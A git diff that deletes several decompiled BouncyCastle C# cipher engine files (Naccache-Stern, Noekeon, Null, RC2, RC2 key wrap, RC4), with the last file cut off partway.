a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/NaccacheSternEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/NaccacheSternEngine.cs deleted file mode 100644 index 3a7ffeb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/NaccacheSternEngine.cs +++ /dev/null @@ -1,204 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class NaccacheSternEngine : IAsymmetricBlockCipher -{ - private bool forEncryption; - - private NaccacheSternKeyParameters key; - - private IList[] lookup = null; - - public string AlgorithmName => "NaccacheStern"; - - [Obsolete("Remove: no longer used")] - public virtual bool Debug - { - set - { - } - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - this.forEncryption = forEncryption; - if (parameters is ParametersWithRandom) - { - parameters = ((ParametersWithRandom)parameters).Parameters; - } - key = (NaccacheSternKeyParameters)parameters; - if (this.forEncryption) - { - return; - } - NaccacheSternPrivateKeyParameters naccacheSternPrivateKeyParameters = (NaccacheSternPrivateKeyParameters)key; - IList smallPrimesList = naccacheSternPrivateKeyParameters.SmallPrimesList; - lookup = new IList[smallPrimesList.Count]; - for (int i = 0; i < smallPrimesList.Count; i++) - { - BigInteger bigInteger = (BigInteger)smallPrimesList[i]; - int intValue = bigInteger.IntValue; - lookup[i] = Platform.CreateArrayList(intValue); - lookup[i].Add(BigInteger.One); - BigInteger bigInteger2 = BigInteger.Zero; - for (int j = 1; j < intValue; j++) - { - bigInteger2 = bigInteger2.Add(naccacheSternPrivateKeyParameters.PhiN); - BigInteger e = bigInteger2.Divide(bigInteger); - lookup[i].Add(naccacheSternPrivateKeyParameters.G.ModPow(e, naccacheSternPrivateKeyParameters.Modulus)); - } - } - } - - public virtual int GetInputBlockSize() - { - if (forEncryption) - { - return (key.LowerSigmaBound + 7) / 8 - 1; - } - return key.Modulus.BitLength / 8 + 1; - } - - public virtual int GetOutputBlockSize() - { - if (forEncryption) - { - return key.Modulus.BitLength / 8 + 1; - } - return (key.LowerSigmaBound + 7) / 8 - 1; - } - - public virtual byte[] ProcessBlock(byte[] inBytes, int inOff, int length) - { - if (key == null) - { - throw new InvalidOperationException("NaccacheStern engine not initialised"); - } - if (length > GetInputBlockSize() + 1) - { - throw new DataLengthException("input too large for Naccache-Stern cipher.\n"); - } - if (!forEncryption && length < GetInputBlockSize()) - { - throw new InvalidCipherTextException("BlockLength does not match modulus for Naccache-Stern cipher.\n"); - } - BigInteger bigInteger = new BigInteger(1, inBytes, inOff, length); - if (forEncryption) - { - return Encrypt(bigInteger); - } - IList list = Platform.CreateArrayList(); - NaccacheSternPrivateKeyParameters naccacheSternPrivateKeyParameters = (NaccacheSternPrivateKeyParameters)key; - IList smallPrimesList = naccacheSternPrivateKeyParameters.SmallPrimesList; - for (int i = 0; i < smallPrimesList.Count; i++) - { - BigInteger value = bigInteger.ModPow(naccacheSternPrivateKeyParameters.PhiN.Divide((BigInteger)smallPrimesList[i]), naccacheSternPrivateKeyParameters.Modulus); - IList list2 = lookup[i]; - if (lookup[i].Count != ((BigInteger)smallPrimesList[i]).IntValue) - { - throw new InvalidCipherTextException("Error in lookup Array for " + ((BigInteger)smallPrimesList[i]).IntValue + ": Size mismatch. Expected ArrayList with length " + ((BigInteger)smallPrimesList[i]).IntValue + " but found ArrayList of length " + lookup[i].Count); - } - int num = list2.IndexOf(value); - if (num == -1) - { - throw new InvalidCipherTextException("Lookup failed"); - } - list.Add(BigInteger.ValueOf(num)); - } - BigInteger bigInteger2 = chineseRemainder(list, smallPrimesList); - return bigInteger2.ToByteArray(); - } - - public virtual byte[] Encrypt(BigInteger plain) - { - byte[] array = new byte[key.Modulus.BitLength / 8 + 1]; - byte[] array2 = key.G.ModPow(plain, key.Modulus).ToByteArray(); - Array.Copy(array2, 0, array, array.Length - array2.Length, array2.Length); - return array; - } - - public virtual byte[] AddCryptedBlocks(byte[] block1, byte[] block2) - { - if (forEncryption) - { - if (block1.Length > GetOutputBlockSize() || block2.Length > GetOutputBlockSize()) - { - throw new InvalidCipherTextException("BlockLength too large for simple addition.\n"); - } - } - else if (block1.Length > GetInputBlockSize() || block2.Length > GetInputBlockSize()) - { - throw new InvalidCipherTextException("BlockLength too large for simple addition.\n"); - } - BigInteger bigInteger = new BigInteger(1, block1); - BigInteger val = new BigInteger(1, block2); - BigInteger bigInteger2 = bigInteger.Multiply(val); - bigInteger2 = bigInteger2.Mod(key.Modulus); - byte[] array = new byte[key.Modulus.BitLength / 8 + 1]; - byte[] array2 = bigInteger2.ToByteArray(); - Array.Copy(array2, 0, array, array.Length - array2.Length, array2.Length); - return array; - } - - public virtual byte[] ProcessData(byte[] data) - { - if (data.Length > GetInputBlockSize()) - { - int inputBlockSize = GetInputBlockSize(); - int outputBlockSize = GetOutputBlockSize(); - int num = 0; - int num2 = 0; - byte[] array = new byte[(data.Length / inputBlockSize + 1) * outputBlockSize]; - while (num < data.Length) - { - byte[] array2; - if (num + inputBlockSize < data.Length) - { - array2 = ProcessBlock(data, num, inputBlockSize); - num += inputBlockSize; - } - else - { - array2 = ProcessBlock(data, num, data.Length - num); - num += data.Length - num; - } - if (array2 != null) - { - array2.CopyTo(array, num2); - num2 += array2.Length; - continue; - } - throw new InvalidCipherTextException("cipher returned null"); - } - byte[] array3 = new byte[num2]; - Array.Copy(array, 0, array3, 0, num2); - return array3; - } - return ProcessBlock(data, 0, data.Length); - } - - private static BigInteger chineseRemainder(IList congruences, IList primes) - { - BigInteger bigInteger = BigInteger.Zero; - BigInteger bigInteger2 = BigInteger.One; - for (int i = 0; i < primes.Count; i++) - { - bigInteger2 = bigInteger2.Multiply((BigInteger)primes[i]); - } - for (int j = 0; j < primes.Count; j++) - { - BigInteger bigInteger3 = (BigInteger)primes[j]; - BigInteger bigInteger4 = bigInteger2.Divide(bigInteger3); - BigInteger val = bigInteger4.ModInverse(bigInteger3); - BigInteger bigInteger5 = bigInteger4.Multiply(val); - bigInteger5 = bigInteger5.Multiply((BigInteger)congruences[j]); - bigInteger = bigInteger.Add(bigInteger5); - } - return bigInteger.Mod(bigInteger2); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/NoekeonEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/NoekeonEngine.cs deleted file mode 100644 index d2dbcd3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/NoekeonEngine.cs +++ /dev/null @@ -1,193 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class NoekeonEngine : IBlockCipher -{ - private const int GenericSize = 16; - - private static readonly uint[] nullVector; - - private static readonly uint[] roundConstants; - - private uint[] state = new uint[4]; - - private uint[] subKeys = new uint[4]; - - private uint[] decryptKeys = new uint[4]; - - private bool _initialised; - - private bool _forEncryption; - - public virtual string AlgorithmName => "Noekeon"; - - public virtual bool IsPartialBlockOkay => false; - - public NoekeonEngine() - { - _initialised = false; - } - - public virtual int GetBlockSize() - { - return 16; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is KeyParameter)) - { - throw new ArgumentException("Invalid parameters passed to Noekeon init - " + Platform.GetTypeName(parameters), "parameters"); - } - _forEncryption = forEncryption; - _initialised = true; - KeyParameter keyParameter = (KeyParameter)parameters; - setKey(keyParameter.GetKey()); - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (!_initialised) - { - throw new InvalidOperationException(AlgorithmName + " not initialised"); - } - Check.DataLength(input, inOff, 16, "input buffer too short"); - Check.OutputLength(output, outOff, 16, "output buffer too short"); - if (!_forEncryption) - { - return decryptBlock(input, inOff, output, outOff); - } - return encryptBlock(input, inOff, output, outOff); - } - - public virtual void Reset() - { - } - - private void setKey(byte[] key) - { - subKeys[0] = Pack.BE_To_UInt32(key, 0); - subKeys[1] = Pack.BE_To_UInt32(key, 4); - subKeys[2] = Pack.BE_To_UInt32(key, 8); - subKeys[3] = Pack.BE_To_UInt32(key, 12); - } - - private int encryptBlock(byte[] input, int inOff, byte[] output, int outOff) - { - state[0] = Pack.BE_To_UInt32(input, inOff); - state[1] = Pack.BE_To_UInt32(input, inOff + 4); - state[2] = Pack.BE_To_UInt32(input, inOff + 8); - state[3] = Pack.BE_To_UInt32(input, inOff + 12); - int i; - uint[] array; - for (i = 0; i < 16; i++) - { - (array = state)[0] = array[0] ^ roundConstants[i]; - theta(state, subKeys); - pi1(state); - gamma(state); - pi2(state); - } - (array = state)[0] = array[0] ^ roundConstants[i]; - theta(state, subKeys); - Pack.UInt32_To_BE(state[0], output, outOff); - Pack.UInt32_To_BE(state[1], output, outOff + 4); - Pack.UInt32_To_BE(state[2], output, outOff + 8); - Pack.UInt32_To_BE(state[3], output, outOff + 12); - return 16; - } - - private int decryptBlock(byte[] input, int inOff, byte[] output, int outOff) - { - state[0] = Pack.BE_To_UInt32(input, inOff); - state[1] = Pack.BE_To_UInt32(input, inOff + 4); - state[2] = Pack.BE_To_UInt32(input, inOff + 8); - state[3] = Pack.BE_To_UInt32(input, inOff + 12); - Array.Copy(subKeys, 0, decryptKeys, 0, subKeys.Length); - theta(decryptKeys, nullVector); - int num; - uint[] array; - for (num = 16; num > 0; num--) - { - theta(state, decryptKeys); - (array = state)[0] = array[0] ^ roundConstants[num]; - pi1(state); - gamma(state); - pi2(state); - } - theta(state, decryptKeys); - (array = state)[0] = array[0] ^ roundConstants[num]; - Pack.UInt32_To_BE(state[0], output, outOff); - Pack.UInt32_To_BE(state[1], output, outOff + 4); - Pack.UInt32_To_BE(state[2], output, outOff + 8); - Pack.UInt32_To_BE(state[3], output, outOff + 12); - return 16; - } - - private void gamma(uint[] a) - { - uint[] array; - (array = a)[1] = array[1] ^ (~a[3] & ~a[2]); - (array = a)[0] = array[0] ^ (a[2] & a[1]); - uint num = a[3]; - a[3] = a[0]; - a[0] = num; - (array = a)[2] = array[2] ^ (a[0] ^ a[1] ^ a[3]); - (array = a)[1] = array[1] ^ (~a[3] & ~a[2]); - (array = a)[0] = array[0] ^ (a[2] & a[1]); - } - - private void theta(uint[] a, uint[] k) - { - uint num = a[0] ^ a[2]; - num ^= rotl(num, 8) ^ rotl(num, 24); - uint[] array; - (array = a)[1] = array[1] ^ num; - (array = a)[3] = array[3] ^ num; - for (int i = 0; i < 4; i++) - { - uint[] array2 = (array = a); - int num2 = i; - nint num3 = num2; - array2[num2] = array[num3] ^ k[i]; - } - num = a[1] ^ a[3]; - num ^= rotl(num, 8) ^ rotl(num, 24); - (array = a)[0] = array[0] ^ num; - (array = a)[2] = array[2] ^ num; - } - - private void pi1(uint[] a) - { - a[1] = rotl(a[1], 1); - a[2] = rotl(a[2], 5); - a[3] = rotl(a[3], 2); - } - - private void pi2(uint[] a) - { - a[1] = rotl(a[1], 31); - a[2] = rotl(a[2], 27); - a[3] = rotl(a[3], 30); - } - - private uint rotl(uint x, int y) - { - return (x << y) | (x >> 32 - y); - } - - static NoekeonEngine() - { - uint[] array = new uint[4]; - nullVector = array; - roundConstants = new uint[17] - { - 128u, 27u, 54u, 108u, 216u, 171u, 77u, 154u, 47u, 94u, - 188u, 99u, 198u, 151u, 53u, 106u, 212u - }; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/NullEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/NullEngine.cs deleted file mode 100644 index dd2f74a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/NullEngine.cs +++ /dev/null @@ -1,43 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class NullEngine : IBlockCipher -{ - private const int BlockSize = 1; - - private bool initialised; - - public virtual string AlgorithmName => "Null"; - - public virtual bool IsPartialBlockOkay => true; - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - initialised = true; - } - - public virtual int GetBlockSize() - { - return 1; - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (!initialised) - { - throw new InvalidOperationException("Null engine not initialised"); - } - Check.DataLength(input, inOff, 1, "input buffer too short"); - Check.OutputLength(output, outOff, 1, "output buffer too short"); - for (int i = 0; i < 1; i++) - { - output[outOff + i] = input[inOff + i]; - } - return 1; - } - - public virtual void Reset() - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RC2Engine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RC2Engine.cs deleted file mode 100644 index c45c6ac..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RC2Engine.cs +++ /dev/null @@ -1,225 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class RC2Engine : IBlockCipher -{ - private const int BLOCK_SIZE = 8; - - private static readonly byte[] piTable = new byte[256] - { - 217, 120, 249, 196, 25, 221, 181, 237, 40, 233, - 253, 121, 74, 160, 216, 157, 198, 126, 55, 131, - 43, 118, 83, 142, 98, 76, 100, 136, 68, 139, - 251, 162, 23, 154, 89, 245, 135, 179, 79, 19, - 97, 69, 109, 141, 9, 129, 125, 50, 189, 143, - 64, 235, 134, 183, 123, 11, 240, 149, 33, 34, - 92, 107, 78, 130, 84, 214, 101, 147, 206, 96, - 178, 28, 115, 86, 192, 20, 167, 140, 241, 220, - 18, 117, 202, 31, 59, 190, 228, 209, 66, 61, - 212, 48, 163, 60, 182, 38, 111, 191, 14, 218, - 70, 105, 7, 87, 39, 242, 29, 155, 188, 148, - 67, 3, 248, 17, 199, 246, 144, 239, 62, 231, - 6, 195, 213, 47, 200, 102, 30, 215, 8, 232, - 234, 222, 128, 82, 238, 247, 132, 170, 114, 172, - 53, 77, 106, 42, 150, 26, 210, 113, 90, 21, - 73, 116, 75, 159, 208, 94, 4, 24, 164, 236, - 194, 224, 65, 110, 15, 81, 203, 204, 36, 145, - 175, 80, 161, 244, 112, 57, 153, 124, 58, 133, - 35, 184, 180, 122, 252, 2, 54, 91, 37, 85, - 151, 49, 45, 93, 250, 152, 227, 138, 146, 174, - 5, 223, 41, 16, 103, 108, 186, 201, 211, 0, - 230, 207, 225, 158, 168, 44, 99, 22, 1, 63, - 88, 226, 137, 169, 13, 56, 52, 27, 171, 51, - 255, 176, 187, 72, 12, 95, 185, 177, 205, 46, - 197, 243, 219, 71, 229, 165, 156, 119, 10, 166, - 32, 104, 254, 127, 193, 173 - }; - - private int[] workingKey; - - private bool encrypting; - - public virtual string AlgorithmName => "RC2"; - - public virtual bool IsPartialBlockOkay => false; - - private int[] GenerateWorkingKey(byte[] key, int bits) - { - int[] array = new int[128]; - for (int i = 0; i != key.Length; i++) - { - array[i] = key[i] & 0xFF; - } - int num = key.Length; - int num3; - if (num < 128) - { - int num2 = 0; - num3 = array[num - 1]; - do - { - num3 = piTable[(num3 + array[num2++]) & 0xFF] & 0xFF; - array[num++] = num3; - } - while (num < 128); - } - num = bits + 7 >> 3; - num3 = (array[128 - num] = piTable[array[128 - num] & (255 >> (7 & -bits))] & 0xFF); - for (int num4 = 128 - num - 1; num4 >= 0; num4--) - { - num3 = (array[num4] = piTable[num3 ^ array[num4 + num]] & 0xFF); - } - int[] array2 = new int[64]; - for (int j = 0; j != array2.Length; j++) - { - array2[j] = array[2 * j] + (array[2 * j + 1] << 8); - } - return array2; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - encrypting = forEncryption; - if (parameters is RC2Parameters) - { - RC2Parameters rC2Parameters = (RC2Parameters)parameters; - workingKey = GenerateWorkingKey(rC2Parameters.GetKey(), rC2Parameters.EffectiveKeyBits); - return; - } - if (parameters is KeyParameter) - { - KeyParameter keyParameter = (KeyParameter)parameters; - byte[] key = keyParameter.GetKey(); - workingKey = GenerateWorkingKey(key, key.Length * 8); - return; - } - throw new ArgumentException("invalid parameter passed to RC2 init - " + Platform.GetTypeName(parameters)); - } - - public virtual void Reset() - { - } - - public virtual int GetBlockSize() - { - return 8; - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (workingKey == null) - { - throw new InvalidOperationException("RC2 engine not initialised"); - } - Check.DataLength(input, inOff, 8, "input buffer too short"); - Check.OutputLength(output, outOff, 8, "output buffer too short"); - if (encrypting) - { - EncryptBlock(input, inOff, output, outOff); - } - else - { - DecryptBlock(input, inOff, output, outOff); - } - return 8; - } - - private int RotateWordLeft(int x, int y) - { - x &= 0xFFFF; - return (x << y) | (x >> 16 - y); - } - - private void EncryptBlock(byte[] input, int inOff, byte[] outBytes, int outOff) - { - int num = ((input[inOff + 7] & 0xFF) << 8) + (input[inOff + 6] & 0xFF); - int num2 = ((input[inOff + 5] & 0xFF) << 8) + (input[inOff + 4] & 0xFF); - int num3 = ((input[inOff + 3] & 0xFF) << 8) + (input[inOff + 2] & 0xFF); - int num4 = ((input[inOff + 1] & 0xFF) << 8) + (input[inOff] & 0xFF); - for (int i = 0; i <= 16; i += 4) - { - num4 = RotateWordLeft(num4 + (num3 & ~num) + (num2 & num) + workingKey[i], 1); - num3 = RotateWordLeft(num3 + (num2 & ~num4) + (num & num4) + workingKey[i + 1], 2); - num2 = RotateWordLeft(num2 + (num & ~num3) + (num4 & num3) + workingKey[i + 2], 3); - num = RotateWordLeft(num + (num4 & ~num2) + (num3 & num2) + workingKey[i + 3], 5); - } - num4 += workingKey[num & 0x3F]; - num3 += workingKey[num4 & 0x3F]; - num2 += workingKey[num3 & 0x3F]; - num += workingKey[num2 & 0x3F]; - for (int j = 20; j <= 40; j += 4) - { - num4 = RotateWordLeft(num4 + (num3 & ~num) + (num2 & num) + workingKey[j], 1); - num3 = RotateWordLeft(num3 + (num2 & ~num4) + (num & num4) + workingKey[j + 1], 2); - num2 = RotateWordLeft(num2 + (num & ~num3) + (num4 & num3) + workingKey[j + 2], 3); - num = RotateWordLeft(num + (num4 & ~num2) + (num3 & num2) + workingKey[j + 3], 5); - } - num4 += workingKey[num & 0x3F]; - num3 += workingKey[num4 & 0x3F]; - num2 += workingKey[num3 & 0x3F]; - num += workingKey[num2 & 0x3F]; - for (int k = 44; k < 64; k += 4) - { - num4 = RotateWordLeft(num4 + (num3 & ~num) + (num2 & num) + workingKey[k], 1); - num3 = RotateWordLeft(num3 + (num2 & ~num4) + (num & num4) + workingKey[k + 1], 2); - num2 = RotateWordLeft(num2 + (num & ~num3) + (num4 & num3) + workingKey[k + 2], 3); - num = RotateWordLeft(num + (num4 & ~num2) + (num3 & num2) + workingKey[k + 3], 5); - } - outBytes[outOff] = (byte)num4; - outBytes[outOff + 1] = (byte)(num4 >> 8); - outBytes[outOff + 2] = (byte)num3; - outBytes[outOff + 3] = (byte)(num3 >> 8); - outBytes[outOff + 4] = (byte)num2; - outBytes[outOff + 5] = (byte)(num2 >> 8); - outBytes[outOff + 6] = (byte)num; - outBytes[outOff + 7] = (byte)(num >> 8); - } - - private void DecryptBlock(byte[] input, int inOff, byte[] outBytes, int outOff) - { - int num = ((input[inOff + 7] & 0xFF) << 8) + (input[inOff + 6] & 0xFF); - int num2 = ((input[inOff + 5] & 0xFF) << 8) + (input[inOff + 4] & 0xFF); - int num3 = ((input[inOff + 3] & 0xFF) << 8) + (input[inOff + 2] & 0xFF); - int num4 = ((input[inOff + 1] & 0xFF) << 8) + (input[inOff] & 0xFF); - for (int num5 = 60; num5 >= 44; num5 -= 4) - { - num = RotateWordLeft(num, 11) - ((num4 & ~num2) + (num3 & num2) + workingKey[num5 + 3]); - num2 = RotateWordLeft(num2, 13) - ((num & ~num3) + (num4 & num3) + workingKey[num5 + 2]); - num3 = RotateWordLeft(num3, 14) - ((num2 & ~num4) + (num & num4) + workingKey[num5 + 1]); - num4 = RotateWordLeft(num4, 15) - ((num3 & ~num) + (num2 & num) + workingKey[num5]); - } - num -= workingKey[num2 & 0x3F]; - num2 -= workingKey[num3 & 0x3F]; - num3 -= workingKey[num4 & 0x3F]; - num4 -= workingKey[num & 0x3F]; - for (int num6 = 40; num6 >= 20; num6 -= 4) - { - num = RotateWordLeft(num, 11) - ((num4 & ~num2) + (num3 & num2) + workingKey[num6 + 3]); - num2 = RotateWordLeft(num2, 13) - ((num & ~num3) + (num4 & num3) + workingKey[num6 + 2]); - num3 = RotateWordLeft(num3, 14) - ((num2 & ~num4) + (num & num4) + workingKey[num6 + 1]); - num4 = RotateWordLeft(num4, 15) - ((num3 & ~num) + (num2 & num) + workingKey[num6]); - } - num -= workingKey[num2 & 0x3F]; - num2 -= workingKey[num3 & 0x3F]; - num3 -= workingKey[num4 & 0x3F]; - num4 -= workingKey[num & 0x3F]; - for (int num7 = 16; num7 >= 0; num7 -= 4) - { - num = RotateWordLeft(num, 11) - ((num4 & ~num2) + (num3 & num2) + workingKey[num7 + 3]); - num2 = RotateWordLeft(num2, 13) - ((num & ~num3) + (num4 & num3) + workingKey[num7 + 2]); - num3 = RotateWordLeft(num3, 14) - ((num2 & ~num4) + (num & num4) + workingKey[num7 + 1]); - num4 = RotateWordLeft(num4, 15) - ((num3 & ~num) + (num2 & num) + workingKey[num7]); - } - outBytes[outOff] = (byte)num4; - outBytes[outOff + 1] = (byte)(num4 >> 8); - outBytes[outOff + 2] = (byte)num3; - outBytes[outOff + 3] = (byte)(num3 >> 8); - outBytes[outOff + 4] = (byte)num2; - outBytes[outOff + 5] = (byte)(num2 >> 8); - outBytes[outOff + 6] = (byte)num; - outBytes[outOff + 7] = (byte)(num >> 8); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RC2WrapEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RC2WrapEngine.cs deleted file mode 100644 index 104e126..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RC2WrapEngine.cs +++ /dev/null @@ -1,198 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Modes; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class RC2WrapEngine : IWrapper -{ - private CbcBlockCipher engine; - - private ICipherParameters parameters; - - private ParametersWithIV paramPlusIV; - - private byte[] iv; - - private bool forWrapping; - - private SecureRandom sr; - - private static readonly byte[] IV2 = new byte[8] { 74, 221, 162, 44, 121, 232, 33, 5 }; - - private IDigest sha1 = new Sha1Digest(); - - private byte[] digest = new byte[20]; - - public virtual string AlgorithmName => "RC2"; - - public virtual void Init(bool forWrapping, ICipherParameters parameters) - { - this.forWrapping = forWrapping; - engine = new CbcBlockCipher(new RC2Engine()); - if (parameters is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)parameters; - sr = parametersWithRandom.Random; - parameters = parametersWithRandom.Parameters; - } - else - { - sr = new SecureRandom(); - } - if (parameters is ParametersWithIV) - { - if (!forWrapping) - { - throw new ArgumentException("You should not supply an IV for unwrapping"); - } - paramPlusIV = (ParametersWithIV)parameters; - iv = paramPlusIV.GetIV(); - this.parameters = paramPlusIV.Parameters; - if (iv.Length != 8) - { - throw new ArgumentException("IV is not 8 octets"); - } - } - else - { - this.parameters = parameters; - if (this.forWrapping) - { - iv = new byte[8]; - sr.NextBytes(iv); - paramPlusIV = new ParametersWithIV(this.parameters, iv); - } - } - } - - public virtual byte[] Wrap(byte[] input, int inOff, int length) - { - if (!forWrapping) - { - throw new InvalidOperationException("Not initialized for wrapping"); - } - int num = length + 1; - if (num % 8 != 0) - { - num += 8 - num % 8; - } - byte[] array = new byte[num]; - array[0] = (byte)length; - Array.Copy(input, inOff, array, 1, length); - byte[] array2 = new byte[array.Length - length - 1]; - if (array2.Length > 0) - { - sr.NextBytes(array2); - Array.Copy(array2, 0, array, length + 1, array2.Length); - } - byte[] array3 = CalculateCmsKeyChecksum(array); - byte[] array4 = new byte[array.Length + array3.Length]; - Array.Copy(array, 0, array4, 0, array.Length); - Array.Copy(array3, 0, array4, array.Length, array3.Length); - byte[] array5 = new byte[array4.Length]; - Array.Copy(array4, 0, array5, 0, array4.Length); - int num2 = array4.Length / engine.GetBlockSize(); - if (array4.Length % engine.GetBlockSize() != 0) - { - throw new InvalidOperationException("Not multiple of block length"); - } - engine.Init(forEncryption: true, paramPlusIV); - for (int i = 0; i < num2; i++) - { - int num3 = i * engine.GetBlockSize(); - engine.ProcessBlock(array5, num3, array5, num3); - } - byte[] array6 = new byte[iv.Length + array5.Length]; - Array.Copy(iv, 0, array6, 0, iv.Length); - Array.Copy(array5, 0, array6, iv.Length, array5.Length); - byte[] array7 = new byte[array6.Length]; - for (int j = 0; j < array6.Length; j++) - { - array7[j] = array6[^(j + 1)]; - } - ParametersWithIV parametersWithIV = new ParametersWithIV(parameters, IV2); - engine.Init(forEncryption: true, parametersWithIV); - for (int k = 0; k < num2 + 1; k++) - { - int num4 = k * engine.GetBlockSize(); - engine.ProcessBlock(array7, num4, array7, num4); - } - return array7; - } - - public virtual byte[] Unwrap(byte[] input, int inOff, int length) - { - if (forWrapping) - { - throw new InvalidOperationException("Not set for unwrapping"); - } - if (input == null) - { - throw new InvalidCipherTextException("Null pointer as ciphertext"); - } - if (length % engine.GetBlockSize() != 0) - { - throw new InvalidCipherTextException("Ciphertext not multiple of " + engine.GetBlockSize()); - } - ParametersWithIV parametersWithIV = new ParametersWithIV(parameters, IV2); - engine.Init(forEncryption: false, parametersWithIV); - byte[] array = new byte[length]; - Array.Copy(input, inOff, array, 0, length); - for (int i = 0; i < array.Length / engine.GetBlockSize(); i++) - { - int num = i * engine.GetBlockSize(); - engine.ProcessBlock(array, num, array, num); - } - byte[] array2 = new byte[array.Length]; - for (int j = 0; j < array.Length; j++) - { - array2[j] = array[^(j + 1)]; - } - iv = new byte[8]; - byte[] array3 = new byte[array2.Length - 8]; - Array.Copy(array2, 0, iv, 0, 8); - Array.Copy(array2, 8, array3, 0, array2.Length - 8); - paramPlusIV = new ParametersWithIV(parameters, iv); - engine.Init(forEncryption: false, paramPlusIV); - byte[] array4 = new byte[array3.Length]; - Array.Copy(array3, 0, array4, 0, array3.Length); - for (int k = 0; k < array4.Length / engine.GetBlockSize(); k++) - { - int num2 = k * engine.GetBlockSize(); - engine.ProcessBlock(array4, num2, array4, num2); - } - byte[] array5 = new byte[array4.Length - 8]; - byte[] array6 = new byte[8]; - Array.Copy(array4, 0, array5, 0, array4.Length - 8); - Array.Copy(array4, array4.Length - 8, array6, 0, 8); - if (!CheckCmsKeyChecksum(array5, array6)) - { - throw new InvalidCipherTextException("Checksum inside ciphertext is corrupted"); - } - if (array5.Length - ((array5[0] & 0xFF) + 1) > 7) - { - throw new InvalidCipherTextException("too many pad bytes (" + (array5.Length - ((array5[0] & 0xFF) + 1)) + ")"); - } - byte[] array7 = new byte[array5[0]]; - Array.Copy(array5, 1, array7, 0, array7.Length); - return array7; - } - - private byte[] CalculateCmsKeyChecksum(byte[] key) - { - sha1.BlockUpdate(key, 0, key.Length); - sha1.DoFinal(digest, 0); - byte[] array = new byte[8]; - Array.Copy(digest, 0, array, 0, 8); - return array; - } - - private bool CheckCmsKeyChecksum(byte[] key, byte[] checksum) - { - return Arrays.ConstantTimeAreEqual(CalculateCmsKeyChecksum(key), checksum); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RC4Engine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RC4Engine.cs deleted file mode 100644 index fb666d3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RC4Engine.cs +++ /dev/null @@ -1,86 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class RC4Engine : IStreamCipher -{ - private static readonly int STATE_LENGTH = 256; - - private byte[] engineState; - - private int x; - - private int y; - - private byte[] workingKey; - - public virtual string AlgorithmName => "RC4"; - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (parameters is KeyParameter) - { - workingKey = ((KeyParameter)parameters).GetKey(); - SetKey(workingKey); - return; - } - throw new ArgumentException("invalid parameter passed to RC4 init - " + Platform.GetTypeName(parameters)); - } - - public virtual byte ReturnByte(byte input) - { - x = (x + 1) & 0xFF; - y = (engineState[x] + y) & 0xFF; - byte b = engineState[x]; - engineState[x] = engineState[y]; - engineState[y] = b; - return (byte)(input ^ engineState[(engineState[x] + engineState[y]) & 0xFF]); - } - - public virtual void ProcessBytes(byte[] input, int inOff, int length, byte[] output, int outOff) - { - Check.DataLength(input, inOff, length, "input buffer too short"); - Check.OutputLength(output, outOff, length, "output buffer too short"); - for (int i = 0; i < length; i++) - { - x = (x + 1) & 0xFF; - y = (engineState[x] + y) & 0xFF; - byte b = engineState[x]; - engineState[x] = engineState[y]; - engineState[y] = b; - output[i + outOff] = (byte)(input[i + inOff] ^ engineState[(engineState[x] + engineState[y]) & 0xFF]); - } - } - - public virtual void Reset() - { - SetKey(workingKey); - } - - private void SetKey(byte[] keyBytes) - { - workingKey = keyBytes; - x = 0; - y = 0; - 